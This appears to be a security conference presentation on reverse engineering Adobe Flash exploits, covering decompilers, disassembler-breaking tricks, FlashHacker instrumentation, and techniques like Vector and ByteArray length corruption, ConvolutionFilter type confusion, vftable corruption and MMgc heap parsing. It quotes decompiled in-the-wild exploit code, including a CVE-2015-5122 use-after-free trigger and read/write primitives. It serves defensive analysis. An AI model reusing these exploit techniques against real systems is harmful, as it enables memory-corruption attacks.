



The Art of Reverse Engineering Flash Exploits

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Adobe Flash Player vulnerabilities

- Recently Oracle Java, Browser vulnerabilities are becoming non-attractive
- *Vector* corruption in 2013 *Lady Boyle* exploit
- *Vector* corruption mitigation introduced in 2015
- CFG/CFI introduced in 2015

Reverse Engineering Methods

Decompilers

- [JPEXS Free Flash Decompiler](#)
- [Action Script Viewer](#)

Unresolved jump from ASV decompiler

```
    for (;_local_9 < _arg_1.length;(_local_6 = _SafeStr_128(_local_5, 0x1E)), goto
_label_2, if (_local_15 < 0x50) goto _label_1;
, (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)
{
    _local_8 = _SafeStr_129(_local_8, _local_14);
    (_local_9 = (_local_9 + 0x10));
    //unresolved jump ← unresolved jump error
    // @239 jump @254
```

Garbage code

```
getlocal      17 ; 0x11 0x11 ← register 17 is never initialized
iftrue       L511 ; 0xFF 0xFF ← This condition is always false
jump         L503 ; 0xF7 0xF7
; 0xD7 ← Start of garbage code (this code will be never reached)
; 0xC2
; 0x0B
; 0xC2
; 0x04
; 0x73
; 0x92
; 0x0A
; 0x08
; 0x0F
; 0x85
; 0x64
; 0x08
; 0x0C
```

L503:

```
pushbyte     8 ; 0x08 0x08 ← All garbage code
getlocal     17 ; 0x11 0x11
iffalse      L510 ; 0xFE 0xFE
negate_i
increment_i
pushbyte     33 ; 0x21 0x21
multiply_i
```

L510:

```
subtract
```

L511:

Disassemblers

- [RABCDAsm](#) is a very powerful disassembler that can extract *ABC* (*ActionScript Byte Code*) records used in *AVM2* (*ActionScript Virtual Machine 2*) from *SWF* files and disassemble the bytecode inside *ABC* records.
- For more information on the instructions for *AVM*, you can read more [here](#).

Breaking disassemblers – malicious *lookupswitch* instruction

L4: lookupswitch L6-42976, []

Breaking disassemblers – fix for malicious *lookupswitch* instruction

```
case OpcodeArgumentType.SwitchTargets:
-      instruction.arguments[i].switchTargets.length = readU30()+1;
-      foreach (ref label; instruction.arguments[i].switchTargets)
+      int length = readU30();
+      if (length<0xffff)
      {
-          label.absoluteOffset = instructionOffset + readS24();
-          queue(label.absoluteOffset);
+          instruction.arguments[i].switchTargets.length = length+1;
+          foreach (ref label; instruction.arguments[i].switchTargets)
+          {
+              label.absoluteOffset = instructionOffset + readS24();
+              queue(label.absoluteOffset);
+          }
+          break;
+      }
+      else
+      {
+          writeln("Abnormal SwitchTargets length: %x", length);
+      }
-      break;
```

A code patch for this specific case is presented below for *readMethodBody* routine. It filters out any *lookupswitch* instruction with too big case counts (bigger than 0xffff).

FlashHacker

- [FlashHacker](#) project was originally developed as an open-source based on the concept [presented](#) from ShmooCon 2012.
- The one challenge you will meet in using *AVM* bytecode instrumentation is the performance degradation with CPU-intensive code.
- For example, heap spraying code with additional instrumentation will usually make the exploit code fail due to default timeout embedded in the Flash Player.

FlashHacker

- You can still perform delicate operations by using filters upon CPU-intensive code.
- Very helpful to know control flow.
- Useful for RCA(Root Cause Analysis)/mitigation bypass research

AVMPlus Source Code

- For AVM, you can still look into open-source implementation of AVM from [AVMplus](#) project.
- You can even observe that some exploits took some exploit code directly out from the AVMplus code, for example MMgc parsers.

Native level debugging of Flash

- Unless you have a symbol access to Flash, debugging and triaging vulnerabilities and exploits under native level is a challenging work.

RW primitives

Vector.length corruption

RW primitives

- RW(read/write) primitives are the objects or functions the exploit uses to achieve memory read and write.
- Modern exploits usually require RW primitives to achieve full code execution to bypass defense mechanisms like ASLR or DEP.
- From defender's point of view, knowing RW primitives for a new exploit helps a lot with figuring out what code execution method the exploit is employing to bypass mitigation techniques like CFG.

Vector.length corruption

- *Lady Boyle* exploit with CVE-2013-0634 on 2013
- CVE-2015-5122, which is *TextLine* use-after-free vulnerability, used *Vector* corruption as it's RW primitive method

First *Vector* spray

```
public class MyClass extends MyUtils
{
    ...
    static var _mc:MyClass;
    static var _vu:Vector.<uint>;
    static var LEN40:uint = 0x40000000;
    static function TryExpl()
    {
        ...
        _arLen1 = (0x0A * 0x03);
        _arLen2 = (_arLen1 + (0x04 * 0x04));
        _arLen = (_arLen2 + (0x0A * 0x08));
        _ar = new Array(_arLen);
        _mc = new MyClass();
        ...
        _vLen = ((0x0190 / 0x04) - 0x02);
        while (i < _arLen1)
        {
            _ar[i] = new Vector.<uint>(_vLen);
            i = (i + 1);
        };
    };
}
```

Second *Vector* spray

```
i = _arLen2;  
while (i < _arLen)  
{  
    _ar[i] = new Vector.<uint>(0x08);  
    _ar[i][0x00] = i;  
    i = (i + 1);  
};  
i = _arLen1;
```

TextLine spray

```
while (i < _arLen2)
{
    _ar[i] = _tb.createTextLine(); // _tb is TextBlock object
    i = (i + 1);
};
i = _arLen1;
while (i < _arLen2)
{
    _ar[i].opaqueBackground = 0x01;
    i = (i + 1);
};
```

Trigger use-after-free vulnerability

```
MyClass.prototype.valueOf = valueOf2;
```

```
_cnt = (_arLen2 - 0x06);
```

```
_ar[_cnt].opaqueBackground = _mc; ← Trigger use-after-free vulnerability (static var _mc:MyClass)
```

valueOf2 callback is called upon *_mc* assignment

```
static function valueOf2()
{
    var i:int;
    try
    {
        if (++_cnt < _arLen2)
        {
            _ar[_cnt].opaqueBackground = _mc;
        }
        else
        {
            Log("MyClass.valueOf2()");
            i = 0x01;
            while (i <= 0x05)
            {
                tb.recreateTextLine(_ar[( _arLen2 - i)]); ← Trigger use-after-free condition
                i = (i + 1);
            };
            i = _arLen2;
            while (i < _arLen)
            {
                _ar[i].length = _vLen;
                i = (i + 1);
            };
        };
        ...
        return ((_vLen + 0x08));
    }
}
```

valueOf2 callback is called upon *_mc* assignment

```
static function valueOf2()
{
    var i:int;
    try
    {
        if (++_cnt < _arLen2)
        {
            _ar[_cnt].opaqueBackground = _mc;
        }
        else
        {
            Log("MyClass.valueOf2()");
            i = 0x01;
            while (i <= 0x05)
            {
                tb.recreateTextLine(_ar[( _arLen2 - i)]); ← Trigger use-after-free condition
                i = (i + 1);
            };
            i = _arLen2;
            while (i < _arLen)
            {
                _ar[i].length = _vLen;
                i = (i + 1);
            };
        };
        ...
        return ((_vLen + 0x08));
    }
}
```

Looking for corrupt *Vector* element

```
i = _arLen2;
while (i < _arLen)
{
    _vu = _ar[i];
    if (_vu.length > (_vLen + 0x02))
    {
        Log((((("ar[" + i) + "].length = ") + Hex(_vu.length)));
        Log((((("ar[" + i) + "][") + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen]));
        if (_vu[_vLen] == _vLen)
        {
            _vu[_vLen] = LEN40; ← Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
            _vu = _ar[_vu[( _vLen + 0x02)]]; ← _vu now points to corrupt Vector element
            break;
        }
    };
    i = (i + 1);
};
```

FlashHacker log for Vector corruption

* Detection: Setting valueOf: Object=Object Function=valueOf2

* Setting property: MyClass.prototype.valueOf

Object Name: MyClass.prototype

Object Type: Object

Property: valueOf

Location: MyClass32/class/TryExpl

builtin.as\$0::MethodClosure

function Function() {}

* Detection: CVE-2015-5122

* Returning from: MyClass._tb.recreateTextLine

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* Detection: CVE-2015-5122

* Returning from: MyClass._tb.recreateTextLine

* Detection: Vector Corruption

Corrupt Vector.<uint>.length: 0x40000000 at MyClass32/class/TryExpl L239 ← Vector corruption detected

... Message repeat starts ...

... Last message repeated 2 times ...

Writing __AS3___.vec::Vector.<uint>[0x3FFFFF9A]=0x6A->0x62 Maximum

Vector.<uint>.length:328 ← out-of-bounds access

Location: MyClass32/class/Prepare (L27)

Current vector.<Object> Count: 1 Maximum length:46

Writing __AS3___.vec::Vector.<uint>[0x3FFE6629]=0xAC84EE0->0xA44B348 Maximum

Vector.<uint>.length:328

Location: MyClass32/class/Set (L20)

Writing __AS3___.vec::Vector.<uint>[0x3FFE662A]=0xAE76041->0x9C Maximum

Vector.<uint>.length:328

Location: MyClass32/class/Set (L20)

RW primitives

ByteArray.length corruption

ByteArray.length corruption

```
_local_4 = 0x8012002C;
```

```
si32(0x7FFFFFFF, (_local_4 + 0x7FFFFFFFC)); ← Out-of-bounds write with si32 upon  
ByteArray.length location at _local_4 + 0x7FFFFFFFC with value of 0x7FFFFFFF
```

```
_local_10 = 0x00;
```

```
while (_local_10 < bc.length)
```

```
{
```

```
    if (bc[_local_10].length > 0x10) ← Check if ByteArray.length is corrupt
```

```
    {
```

```
        cbIndex = _local_10; ← Index of corrupt ByteArray element in the bc array
```

```
    }
```

```
    else
```

```
    {
```

```
        bc[_local_10] = null;
```

```
    };
```

```
    _local_10++;
```

```
};
```

RW primitive

```
private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
    var _local_3:int;
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].readUnsignedInt());
    };
};
```

```
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].writeUnsignedInt(value));
    };
};
```

RW primitives

ConvolutionFilter.matrix to *tabStops* type-confusion

ConvolutionFilter.matrix to *tabStops* type-confusion

```
public function SprayConvolutionFilter():void
{
    var _local_2:int;
    hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
    mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
    hgfhgfhfg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
    var _local_1:int;
    while (_local_1 < 0x0100)
    {
        _local_2 = _local_1++;
        ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); ← heap spraying ConvolutionFilter objects
    };
}
```

ConvolutionFilter.matrix to *tabStops* type-confusion

```
public function TriggerVulnerability():Boolean
{
    var _local_9:int;
    var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
    var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
    var destPoint:Point = new Point(0, 0);
    var _local_4:TextFormat = new TextFormat();
    _local_4.tabStops = [4, 4];
    ...
    _local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
    if (!(TypeConfuseConvolutionFilter()))
    {
        return (false);
    }
};
```

First stage RW primitive is used as a temporary measure and *ByteArray* RW primitive as the main one because *ByteArray* operations are more straightforward in programming.

Type-confusing *ConvolutionFilter* and finding affected element

```
public function TypeConfuseConvolutionFilter():Boolean
{
    ...
    while (_local_3 < 0x0100)
    {
        _local_4 = _local_3++;
        ConvolutionFilterArray[_local_4].matrixY = kkkk2222222;
        ConvolutionFilterArray[_local_4].matrix = _local_2;
    };
    ...
    _local_5 = gfhfghsdf22432.ghfg43[bczzzzz].matrix;
    _local_5[0] = jjj3.IntToNumber(0x55667788); ← Corrupt memory
    gfhfghsdf22432.ghfg43[bczzzzz].matrix = _local_5;

    ConfusedConvolutionFilterIndex = -1;
    _local_3 = 0;
    while (((ConfusedConvolutionFilterIndex == (-1)) && ((_local_3 <
ConvolutionFilterArray.length))))
    {
        matrix = ConvolutionFilterArray[_local_3].matrix;
        _local_4 = 0;
        _local_6 = _local_9.length;
```

```
        while (_local_4 < _local_6)
        {
            _local_7 = _local_4++;
            if ((jjj3.NumberToDword(matrix[_local_7]) == 0x55667788)) ← Locate type-
confused ConvolutionFilter object
            {
                ConfusedConvolutionFilterIndex = _local_3;
                break;
            };
        };
        _local_3++;
    };
};
```

Using *TextFormat.tabStops*[0] to read memory contents

```
public function read4(_arg_1:___Int64):uint
{
    var matrixIndex:int;
    if (IsByteArrayCorrupt)
    {
        SetCorruptByteArrayPosition(_arg_1);
        return (CorruptByteArray.readUnsignedInt());
    };
    matrixIndex = (17 + ConfusedMatrixIndex);
    TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
    TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
    ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
    textFormat = ConfusedTextField.getTextFormat(0, 1);
    return (textFormat.tabStops[0]);
}
```

- Read4 method uses corrupt *ByteArray* if it is available, but it also uses type-confused *ConvolutionFilter* with type-confused *TextField*.
- The object for address input is *ConvolutionFilter* and you can read memory contents through *textFormat.tabStops*[0] of type-confused *TextFormat*.

CFG

What is CFG?

```
.text:10C5F13B      mov     esi, [esp+58h+var_3C]
.text:10C5F13F      lea     eax, [esp+58h+var_34]
.text:10C5F143      movups  xmm1, [esp+58h+var_34]
.text:10C5F148      movups  xmm0, [esp+58h+var_24]
.text:10C5F14D      push    dword ptr [esi]
.text:10C5F14F      mov     esi, [esi+8]
.text:10C5F152      pxor    xmm1, xmm0
.text:10C5F156      push    eax
.text:10C5F157      push    eax
.text:10C5F158      mov     ecx, esi
.text:10C5F15A      movups  [esp+64h+var_34], xmm1
.text:10C5F15F      call    ds:___guard_check_icall_fptr ← CFG check routine
.text:10C5F165      call    esi
```

What is *CFG*?

- After CFG was introduced to Adobe Flash Player, executing code became a non-trivial job for the exploit writers. We observed various techniques they use recently.
- We also observed CFG can be very powerful in making the cost of the exploit development higher.

Pre-CFG Code Execution - *vftable* corruption

- Before CFG was introduced into Flash Player, code execution was rather straight-forward once the exploit acquired RW privilege on the target process memory.
- Corrupting object vftable and calling the corrupt method.
- *FileReference* and *Sound* objects were popular targets for years for Flash exploits.

Pre-CFG Code Execution - *vftable* corruption

```
var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51))) + (((((-0x9C) + 1) - 1) - 0x6E) - 1) + 0x1B));  
var _local_4:uint = read32(_local_10);  
write32(_local_10, _local_7);  
cool_fr.cancel();
```

```
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFE]=0x9A90201E->0x1E Maximum Vector.<uint>.length:1022  
    Location: Main/instance/trig_loaded (L340)  
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFF]=0x7E74027->0x7E74000 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/trig_loaded (L402)  
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x931F1F0->0x2A391000 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/write32 (L173)  
> Call flash.net::FileReference QName(PackageNamespace(""), null), "cancel"), 0  
Instruction: callpropvoid QName(PackageNamespace(""), null), "cancel"), 0  
Called from: Main/instance/trig_loaded:L707  
* Returning from: flash.net::FileReference QName(PackageNamespace(""), null), "cancel"), 0  
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x2A391000->0x931F1F0 Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/write32 (L173)  
Writing __AS3__.vec::Vector.<uint>[0x7FFFFFFE]=0x7FFFFFFF->0x1E Maximum Vector.<uint>.length:1022  
    Location: Main/instance/Main/instance/repair_vector (L32)
```

CVE-2015-0336 exploit code shows a code example that is using *FileReference.cancel* method to execute code.

MMgc

What is *MMgc*?

- MMgc is the Tamarin (née Macromedia) garbage collector, a memory management library that has been built as part of the AVM2/Tamarin effort. It is a static library that is linked into the Flash Player but kept separate, and can be incorporated into other programs.
(<https://developer.mozilla.org/en-US/docs/Archive/MMgc>)
- After CFG, the attacker moved to MMgc to find targets for corruptions to further their code execution. MMgc has very predictable behavior with various internal structure allocations. This helps with the attackers in parsing MMgc structures and finding corruption target objects.

Object finder in *MMgc*

- The first in-the-wild CVE-2016-1010 exploit shows very interesting technique to achieve code execution. It parses *MMgc* internal structures to find accurate location of internal objects.

Memory leak

```
public function TriggerVulnerability():Boolean
{
    ...
    _local_1.copyPixels(_local_1, _local_2, _local_3);
    if (!(TypeConfuseConvolutionFilter()))
    {
        return (false);
    };
    ...
    gfhfghsdf22432.ghfg43[(bczzzzz + 1)].matrixX = 15;
    gfhfghsdf22432.ghfg43[bczzzzz].matrixX = 15;
    gfhfghsdf22432.ghfg43[((bczzzzz + 6) - 1)].matrixX = 15;
    LeakedObjectAddress = jjj3.hhhh33((jjj3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & -4096), 0);
}
```

The *MMgc* memory structure parsing starts with object memory leak. The leaked object address comes from type-confused *ConvolutionFilter* object in this case.

EnumerateFixedBlocks

```
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true,
param4:___Int64 = undefined) : Array
{
    var fixedBlockAddr:* = null as ___Int64;
    var _loc8_* = null as ___Int64;
    var _loc9_* = 0;
    var _loc10_* = null as ByteArray;
    var fixedBlockInfo:* = null;
    var _loc5_:Array = [];
    var _loc6_* = ParseFixedAllocHeaderBySize(param1,param2);
```

```
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
    var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2),
FixedAllocSafeSize);
    return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1,
_arg_2)));
}
```

- *EnumerateFixedBlocks* (hhh222) calls *ParseFixedAllocHeaderBySize* (ghfgfh23) first.
- *ParseFixedAllocHeaderBySize* (ghfgfh23) uses *LocateFixedAllocAddrBySize* (jjj34fdfg) and *ParseFixedAllocHeader* (cvb45) to retrieve and parse *FixedAlloc* header information on the objects with specific sizes.

LocateFixedAllocAddrBySize

```
* Enter: Jdfgdfgd34/instance/jjj34fdfg(000007f0, True)  
* Return: Jdfgdfgd34/instance/jjj34fdfg 00000000`6fb7c36c
```

LocateFixedAllocAddrBySize (jjj34fdfg) gets *arg_1* with heap size and returns the memory location where the heap block starts.

DetermineMMgcLocations

```
public function DetermineMMgcLocations (_arg_1:___Int64,
_arg_2:Boolean):Boolean
{
    var _local_6 = (null as ___Int64);
    var _local_7 = (null as ___Int64);
    var _local_8 = (null as ___Int64);
    var _local_4:int = (jjjj222222lpmc.GetLow(_arg_1) & -4096);
    var _local_3:___Int64 = jjjj222222lpmc.ConvertToInt64((_local_4 +
    jhjghj23.bitCount), jjjj222222lpmc.GetHigh(_arg_1));
    _local_3 = jjjj222222lpmc.Subtract(_local_3, offset1);
    var _local_5:___Int64 = gg2rw.peekPtr(_local_3);

    _local_7 = new ___Int64(0, 0);
    _local_6 = _local_7;
    if ((((_local_5.high == _local_6.high)) && ((_local_5.low == _local_6.low))))
    {
        return (false);
    };
    cvbc345 = gg2rw.peekPtr(_local_5);
    ...
    if (!(IsFlashGT20))
    {
        _local_6 = SearchDword3F8(_local_5);
        M_allocs01 = _local_6;
        M_allocs02 = _local_6;
    }
}
```

```
else
{
    if (_arg_2)
    {
        M_allocs01 = SearchDword3F8(_local_5);
        ...
        M_allocs02 = SearchDword3F8(jjjj222222lpmc.AddInt64(M_allocs01,
        (FixedAllocSafeSize + 20)));
    }
    else
    {
        M_allocs02 = SearchDword3F8(_local_5);
        ...
        M_allocs01 = SearchDword3F8(jjjj222222lpmc.SubtractInt64(M_allocs02,
        (FixedAllocSafeSize + 20)));
    }
}
```

DetermineMMgcLocations (hgjdhj134134) calls *SearchDword3F8* on memory location it got through some memory references from leaked object address. This *SearchDword3F8* searches for 0x3F8 DWORD value from the memory, which seems like a very important indicator of the *MMgc* structure it looks for.

LocateFixedAllocAddrBySize (*jjj34fdfg*) function

```
public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):__Int64
{
    var index:int = jhjhghj23. GetSizeClassIndex(_arg_1);
    var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
    if (_arg_2)
    {
        return (jjjj222222lpmc. AddInt (M_allocs01, offset));
    };
    return (jjjj222222lpmc. AddInt (M_allocs02, offset));
}
```

LocateFixedAllocAddrBySize (*jjj34fdfg*) uses *GetSizeClassIndex* method to retrieve index value and uses it with platform and Flash version dependent sizes to calculate offsets of the *FixedAlloc* structure header.

GetSizeClassIndex

[illegible]

```
public function GetSizeClassIndex (arg_size:int) : int
{
    if(is64bit)
    {
        return kSizeClassIndex64[arg_size + 7 >> 3];
    }
    return kSizeClassIndex32[arg_size + 7 >> 3];
}
```

FixedMalloc::FindAllocatorForSize

```
REALLY_INLINE FixedAllocSafe* FixedMalloc::FindAllocatorForSize(size_t size)
{
    ...
    // 'index' is (conceptually) "(size8>>3)" but the following
    // optimization allows us to skip the &~7 that is redundant
    // for non-debug builds.
#ifdef MMGC_64BIT
    unsigned const index = kSizeClassIndex[((size+7)>>3)];
#else
    // The first bucket is 4 on 32-bit systems, so special case that rather
    // than double the size-class-index table.
    unsigned const index = (size <= 4) ? 0 : kSizeClassIndex[((size+7)>>3)];
#endif
    ...
    return &m_allocs[index];
}
```

This exploit code has similarity to the *FixedMalloc::FindAllocatorForSize* routine from *avmplus* code.

m_allocs array declaration

```
class FixedMalloc
{
    ...
    FixedAllocSafe m_allocs[kNumSizeClasses]; // The array of size-segregated allocators
    for small objects, set in InitInstance
    ...
}
```


kSizeClassIndex from *avmplus*

[illegible]

```

/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
    0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
    16, 17, 17, 18, 18, 19, 19, 20, 21, 22, 23, 24, 24, 25, 26, 26,
    27, 27, 28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31, 31, 32,
    32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34,
    35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36,
    36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
    37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38,
    38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
    40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
};
#endif

```

This index values are used in exploit code.

ParseFixedAllocHeader

- *FixedAlloc* is a data structure that contains memory pointer to the *FixedBlock* linked lists. Memory blocks with same size will be chained in the these linked list structures.

```
class FixedAlloc
{
...
private:
    GCHeap *m_heap;          // The heap from which we obtain memory
    uint32_t m_itemsPerBlock; // Number of items that fit in a block
    uint32_t m_itemSize;     // Size of each individual item
    FixedBlock* m_firstBlock; // First block on list of free blocks
    FixedBlock* m_lastBlock;  // Last block on list of free blocks
    FixedBlock* m_firstFree;  // The lowest priority block that has free items
    size_t m_numBlocks;       // Number of blocks owned by this allocator
...
}
```

ParseFixedAllocHeader

```
public function ParseFixedAllocHeader(_arg_1:ByteArray, _arg_2:___Int64):Object
{
    var _local_3:* = null;
    if (cbvd43) ← true when major version >= 20
    {
        return ({
            "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
            "m_unknown":_arg_1.readUnsignedInt(),
            "m_itemsPerBlock":_arg_1.readUnsignedInt(),
            "m_itemSize":_arg_1.readUnsignedInt(),
            "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
            "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
            "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
            "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
            "m_isFixedAllocSafe":_arg_1.readByte(),
            "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
            "fixedAllocAddr":_arg_2
        });
    }
};
```

```
return ({
    "m_heap":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_unknown":0,
    "m_itemsPerBlock":_arg_1.readUnsignedInt(),
    "m_itemSize":_arg_1.readUnsignedInt(),
    "m_firstBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_lastBlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_firstFree":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_maxAlloc":jjjj222222lpmc.ReadPointer(_arg_1),
    "m_isFixedAllocSafe":_arg_1.readByte(),
    "m_spinlock":jjjj222222lpmc.ReadPointer(_arg_1),
    "fixedAllocAddr":_arg_2
});
}
```

ParseFixedAllocHeader (cvb45) function parses *FixedAlloc* header. It uses *ReadPointer* (ghgfhf12341) RW primitive to read pointer size data from memory location here.

ParseFixedAllocHeaderBySize (ghfgfh23)

```
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
    var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2),
FixedAllocSafeSize);
    return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1,
_arg_2)));
}
```

ParseFixedAllocHeaderBySize (ghfgfh23)

Enter: Jdfgdgd34/instance/ghfgfh23(000007f0, True)

...

Return: Jdfgdgd34/instance/ghfgfh23 [object Object]

* Return: Jdfgdgd34/instance/ghfgfh23 [object Object]

Location: Jdfgdgd34/instance/ghfgfh23 block id: 0 line no: 0

Call Stack:

Jdfgdgd34/ghfgfh23()

Jdfgdgd34/hhh222()

J34534534/fdgdg45345345()

J34534534/jhfjhghg2432324()

...

Type: Return

Method: Jdfgdgd34/instance/ghfgfh23

Return Value:

Object:

m_itemSize: 0x7f0 (2032) ← current item size

fixedAllocAddr:

high: 0x0 (0)

low: 0x6fb7c36c (1874314092)

m_firstFree:

high: 0x0 (0)

low: 0x0 (0)

m_lastBlock:

high: 0x0 (0)

low: 0xc0d7000 (202207232)

m_spinlock:

high: 0x0 (0)

low: 0x0 (0)

m_unknown: 0x1 (1)

m_isFixedAllocSafe: 0x1 (1)

m_maxAlloc:

high: 0x0 (0)

low: 0x1 (1)

m_itemsPerBlock: 0x2 (2)

m_heap:

high: 0x0 (0)

low: 0x6fb7a530 (1874306352)

m_firstBlock:

high: 0x0 (0)

low: 0xc0d7000 (202207232)

0:000> dds 6fb7c36c <-- fixedAllocAddr

6fb7c36c 6fb7a530 <-- m_heap

6fb7c370 00000001 <-- m_unknown

6fb7c374 00000002 <-- m_itemsPerBlock

6fb7c378 000007f0 <-- m_itemSize

6fb7c37c 0c0d7000 <-- m_firstBlock

6fb7c380 0c0d7000 <-- m_lastBlock

6fb7c384 00000000 <-- m_firstFree

6fb7c388 00000001 <-- m_maxAlloc

6fb7c38c 00000001

ParseFixedBlock loop on *FixedBlock* linked lists

```
public function EnumerateFixedBlocks (param1:int, param2:Boolean,
param3:Boolean = true, param4:___Int64 = undefined) : Array
{
    var fixedBlockAddr:* = null as ___Int64;
    var _loc8_* = null as ___Int64;
    var _loc9_* = 0;
    var _loc10_* = null as ByteArray;
    var fixedBlockInfo:* = null;
    var _loc5_:Array = [];
    var _loc6_* = ParseFixedAllocHeaderBySize(param1,param2);
    if(param3)
    {
        fixedBlockAddr = _loc6_.m_firstBlock;
    }
    else
    {
        fixedBlockAddr = _loc6_.m_lastBlock;
    }
    while(!((jjjj22222222lpmc.IsZero(fixedBlockAddr)))
    {
        ...
```

```
        _loc10_ = gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgfh3); ← read by
chunk. _loc10_: ByteArray
        fixedBlockInfo = ParseFixedBlock(_loc10_, fixedBlockAddr); ← fixedBlockAddr:
size
        _loc5_.push(fixedBlockInfo);
        if(param3)
        {
            fixedBlockAddr = fixedBlockInfo.next;
        }
        else
        {
            fixedBlockAddr = fixedBlockInfo.prev;
        }
    }
    return _loc5_;
```

ParseFixedBlock (*vcb4*) is used in *EnumerateFixedBlocks* (*hhh222*) function to enumerate through *FixedBlock* linked lists.

ParseFixedBlock

```
public function ParseFixedBlock (param1:ByteArray, param2:___Int64) : Object
{
    var _loc3_* = {
        "firstFree":jjjj222222lpmc.ReadPointer(param1),
        "nextItem":jjjj222222lpmc.ReadPointer(param1),
        "next":jjjj222222lpmc.ReadPointer(param1),
        "prev":jjjj222222lpmc.ReadPointer(param1),
        "numAlloc":param1.readUnsignedShort(),
        "size":param1.readUnsignedShort(),
        "prevFree":jjjj222222lpmc.ReadPointer(param1),
        "nextFree":jjjj222222lpmc.ReadPointer(param1),
        "alloc":jjjj222222lpmc.ReadPointer(param1),
        "blockData":param1,
        "blockAddr":param2
    };
    return _loc3_;
}
```

```
struct FixedBlock
{
    void* firstFree;    // First object on the block's free list
    void* nextItem;     // First object free at the end of the block
    FixedBlock* next;   // Next block on the list of blocks (m_firstBlock list in the allocator)
    FixedBlock* prev;   // Previous block on the list of blocks
    uint16_t numAlloc;  // Number of items allocated from the block
    uint16_t size;     // Size of objects in the block
    FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
    FixedBlock *prevFree; // Previous block on the list of blocks with free items
    FixedAlloc *alloc;   // The allocator that owns this block
    char items[1];      // Memory for objects starts here
};
```

ByteArray address leak

AllocateByteArrays

- *GetByteArrayAddress (hgfh342)* method is used to reserve 2 heap areas. These areas are marked as RW originally as *ByteArray* memory is RW by default.
- *AllocateByteArrays (jhgj22222)* method is used to allocate *ByteArray* and return raw heap addresses used for *freelists* and shellcode.
- The *shellcode_bytearray (jh5)* is the shellcode *ByteArray*, and *freelists_bytearray (jjgfh3)* is the *ByteArray* structure that will hold fake *freelists* memory to be used.

GetByteArrayAddress uses *EnumerateFixedBlocks* calls

```
